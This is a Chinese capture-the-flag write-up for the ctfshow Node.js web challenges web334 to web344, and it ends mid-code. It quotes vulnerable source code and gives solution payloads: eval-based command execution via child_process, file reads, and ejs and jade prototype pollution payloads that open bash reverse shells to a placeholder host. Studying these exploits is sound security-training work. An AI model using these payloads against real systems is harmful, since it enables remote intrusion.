WEB入门
13、nodejs
web334:参数绕过
下载附件得到源码,开始审计
login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({
ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({
ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({
ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
user.js
module.exports = {
items: [
{
username: 'CTFSHOW', password: '123456'}
]
};
findUser
函数判断了三个条件,第一个对用户名进行全类型比较,需要不等于CTFSHOW
,第二个需要用户名在转为大写之后等于CTFSHOW
,第三个是判断密码是否正确,在user.js中提供了账号密码
解法一:大小写绕过
发送一个大小写的用户名
username=CTFshow&password=123456
解法二:JS特性
参考资料:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
字符"ı"、"ſ" 经过toUpperCase()处理后结果为 "I"、"S"
字符"K"经过toLowerCase()处理后结果为"k"(这个K不是K)
在绕一些规则的时候就可以利用这几个特殊字符进行绕过
故可以构造payload
ctfſhow 123456
web335:rce
一道node.js的RCE
查看源码,发现提示: /?eval=
先随便传一个数字进去,发现它回显了出来,但是输入字母的时候,就显示404 找不到文件
,说明这里应该执行了我们输入的内容,这里的代码可能是eval('console.log(xxx)')
eval可以执行js代码,那我们就可以利用js代码去进行RCE
利用child_process模块执行命令
利用child_process
包来构造payload,这是node.js中用来执行系统命令的一个包,其中有多个方法可以用来利用
//execSync
?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('ls').toString();
//spawnSync
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).output;
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout;
//IIFE(立即调用函数表达式),js在遇到它之后会立即执行函数
?eval=global.process.mainModule.constructor._load('child_process').exec('ls');
利用fs模块去读文件
fs模块就是nodejs中一个文件操作模块,可以对文件进行删除增加写入读取操作
/?eval=require('fs').readdirSync('.') // 查看当前目录
/?eval=require('fs').readFileSync('fl00g.txt') //读取文件
利用拼接绕过命令执行
'+' 要urlencode一下
?eval=var a="require('child_process').ex";var b="ecSync('ls').toString();";eval(a%2Bb);
?eval=require('child_process')['ex'%2B'ecSync']('cat f*')
web336:rce
过滤了exec
,可以使用spawn
或者是读文件同web335一样
?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl001g.txt' ] ).stdout.toString()
/?eval=require("child_process")['exe'%2B'cSync']('ls')
web337:md5比较
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{
msg: 'tql'});
}
});
module.exports = router;
需要传入a和b,它们值互不相同
,但是长度相同
,并且md5(a+flag)===md5(b+flag)
payload:
a[x]=1&b[x]=2
b[]=1&a[]=1
注意:中括号里是数字就不行,如果传a[0]=1&b[0]=2,相当于创了个变量a=[1] b=[2],再像上面那样打印的时候,会打印出1flag{xxx}和2flag{xxx},md5就不一样了
web338:ejs原型污染
参考资料:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
var o = {
a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null
var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null
function f(){
return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null
原型链污染原理
对于语句:object[a][b] = value
如果可以控制a、b、value的值,将a设置为__proto__
,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
app.js
var createError = require('http-errors');
var express = require('express');
var ejs = require('ejs');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var FileStore = require('session-file-store')(session);
var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');
导入了ejs模板渲染引擎,这个东西经常出现原型污染问题,而且大多都是利用原型污染来RCE,代码审计,先看login路由
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {
};
var sess = req.session;
let user = {
};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({
ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
可以看到flag就在这里,要想获得flag,就必须要使secert.ctfshow
等于36dboy
,当看完上面的文章,再看这里结果已经已经不言而喻了,就是利用原型污染给secret的原型添加一个属性名为ctfshow
值为36dboy
,这样就符合条件得到flag
login.js代码中存在一个copy功能utils.copy(user,req.body);
,utils.copy
就类似于merge
函数,存在原型污染
构造payload:
POST /login HTTP/1.1
Host: 7a41ab00-e5c2-484c-815d-7806b272e968.chall.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 66
Origin: http://7a41ab00-e5c2-484c-815d-7806b272e968.chall.ctf.show:8080
Connection: close
Referer: http://7a41ab00-e5c2-484c-815d-7806b272e968.chall.ctf.show:8080/
Cookie: UM_distinctid=177b92aaa18d3-0b2755ebda89a58-4c3f217f-fa000-177b92aaa19337
Pragma: no-cache
Cache-Control: no-cache
{"username":"aa","password":"bb","__proto__":{"ctfshow":"36dboy"}}
web339:ejs原型污染rce
login.js
router.post('/', require('body-parser').json(), function (req, res, next) {
res.type('html');
var flag = 'flag_here';
var secert = {
};
var sess = req.session;
let user = {
};
utils.copy(user, req.body);
if (secert.ctfshow === flag) {
res.end(flag);
} else {
return res.json({
ret_code: 2, ret_msg: '登录失败' + JSON.stringify(user)});
}
});
需要secret
的值和flag值一样,flag是字符串类型,而且整个代码中,flag并没有参与任何操作,所以这个点已经不能利用了
在api.js中
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', {
query: Function(query)(query)});
});
Function(query)(query)
可以执行query对应的指令,我们可以使用变量覆盖,将query的值作为反弹shell的点。
**预期解:**变量覆盖污染query
参数
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user ={
}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query); //return 123
成功将query
参数污染
payload
{
"__proto__":{
"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/7777 0>&1\"')"}}
将payload以POST发送到/api,反弹shell
非预期解:
ejs rce具体的来看下这篇文章https://xz.aliyun.com/t/7075
{
"__proto__":{
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/22222 0>&1\"');var __tmp2"}}
接着post访问login就可以反弹shell了
POST /login HTTP/1.1
Host: 26988b82-90ad-47da-bfa6-43697f71edcb.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 171
Origin: http://26988b82-90ad-47da-bfa6-43697f71edcb.challenge.ctf.show:8080
Connection: close
Referer: http://26988b82-90ad-47da-bfa6-43697f71edcb.challenge.ctf.show:8080/
Cookie: UM_distinctid=17a044a3e0e161-09f115c9570c0e-4c3f2d73-190e59-17a044a3e0f58d
Pragma: no-cache
Cache-Control: no-cache
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxxxx/22222 0>&1\"');var __tmp2"}}
web340:ejs两层原型污染rce
跟上题没有太大区别,只不过需要向上污染两级
login.js
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
// 向上两层
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({
ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
user.userinfo
第一层是函数Function
,再向上一层是Object
对象
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user = new function(){
this.userinfo = new function(){
// 向上两层
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
body=JSON.parse('{"__proto__": {"__proto__":{"query":"return 123"}}}');
copy(user.userinfo,body);
console.log(user.userinfo); //{ isVIP: false, isAdmin: false, isAuthor: false }
console.log(user.query); //return 123
Payload
污染query参数
{
"__proto__": {
"__proto__": {
"query": "return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"')"
}
}
}
ejs原型污染rce
{
"__proto__": {
"__proto__": {
"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"');var __tmp2"
}
}
}
POST发送后,访问api路由触发原型污染
web341:ejs两层原型污染rce
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({
ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({
ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
还是二层污染rce,这题没有了api.js,二层污染query参数就不能使用了,那就是用ejsrce的原型污染payload
{
"__proto__": {
"__proto__": {
"outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxx/7777 0>&1\"');var __tmp2"
}
}
}
POST发送后,访问任意一个页面触发payload
web342:jade原型链污染
参考资料:https://xz.aliyun.com/t/7025
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({
ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({
ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
payload
{
"__proto__": {
"__proto__": {
"type": "Block",
"nodes": "",
"compileDebug": 1,
"self": 1,
"line": "global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/7777 0>&1\"')"
}
}
}
这里要往/login页面发一个json格式的POST请求,最后再随便浏览页面即可触发
在用burp发送之前要把请求头中的“Content-Type”改为"application/json"
发送后,访问任意一个页面触发payload
web343
同上一题
web344:nodejs特性
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.